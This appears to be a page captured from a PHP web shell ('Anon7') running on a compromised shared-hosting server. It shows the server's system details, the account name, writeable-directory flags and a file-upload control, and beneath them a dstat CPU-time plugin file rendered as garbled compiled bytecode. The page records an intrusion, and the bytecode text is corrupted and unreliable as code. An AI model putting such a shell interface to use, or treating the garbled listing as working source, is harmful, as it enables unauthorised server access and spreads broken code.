KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /usr/share/dstat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/dstat/dstat_top_cputime_avg.pyo
�
��Lc@sdefd��YZdS(tdstat_plugincBs2eZdZd�Zd�Zd�Zd�ZRS(sF
    Name and average amount of CPU time consumed in milliseconds of the process
    that has the highest average amount of cputime for the different slices for
    the measured timeframe.

    On a system with one CPU and one core, the total cputime is 1000ms. On a
    system with two cores the total cputime is 2000ms.
    cCs:d|_d|_d|_d|_d|_i|_dS(Nshighest averagescputime processtsii(scputime process(tnametvarsttypetwidthtscaletpidset1(tself((s)/usr/share/dstat/dstat_top_cputime_avg.pyt__init__s					cCs%tjdtj�s!td�ndS(Ns/proc/self/schedstats7Kernel has no scheduler statistics, use at least 2.6.12(tostaccesstR_OKt	Exception(R((s)/usr/share/dstat/dstat_top_cputime_avg.pytcheckscCs>d|_i|_d|jd<x�t�D]�}y_|jj|�sbidd6dd6|j|<ntd|�ddd!}td	|�}Wn'tk
r�q)ntk
r�q)nXt	|�d
kr�q)nit
|d�d6t
|d�d6|j|<|j|d|j|ddkrn|j|d|j|dd|j|d|j|dt}nd}||jdkr)||jd<||jd
<t||�|jd<q)q)Wt
tjkr�|j|_n|jddkr:d|jd|jdd|jd!t|jdddd�f|_ndS(Ntitresultt	run_tickstrans
/proc/%s/statii����s/proc/%s/schedstatiig�?tpidRgs%-*s%sitfid(toutputtpidset2tvaltproc_pidlistRthas_keytproc_splitlinetIOErrort
IndexErrortlentlongtelapsedtgetnamebypidtsteptoptdelayRtcprint(RRRtltavgrun((s)/usr/share/dstat/dstat_top_cputime_avg.pytextracts6		


/&I

cCsd|jd|jdfS(Ns	%s / %.4fRR(R(R((s)/usr/share/dstat/dstat_top_cputime_avg.pytshowcsvHs(t__name__t
__module__t__doc__R	RR'R((((s)/usr/share/dstat/dstat_top_cputime_avg.pyRs
			,N(tdstatR(((s)/usr/share/dstat/dstat_top_cputime_avg.pyt<module>s

Anon7 - 2021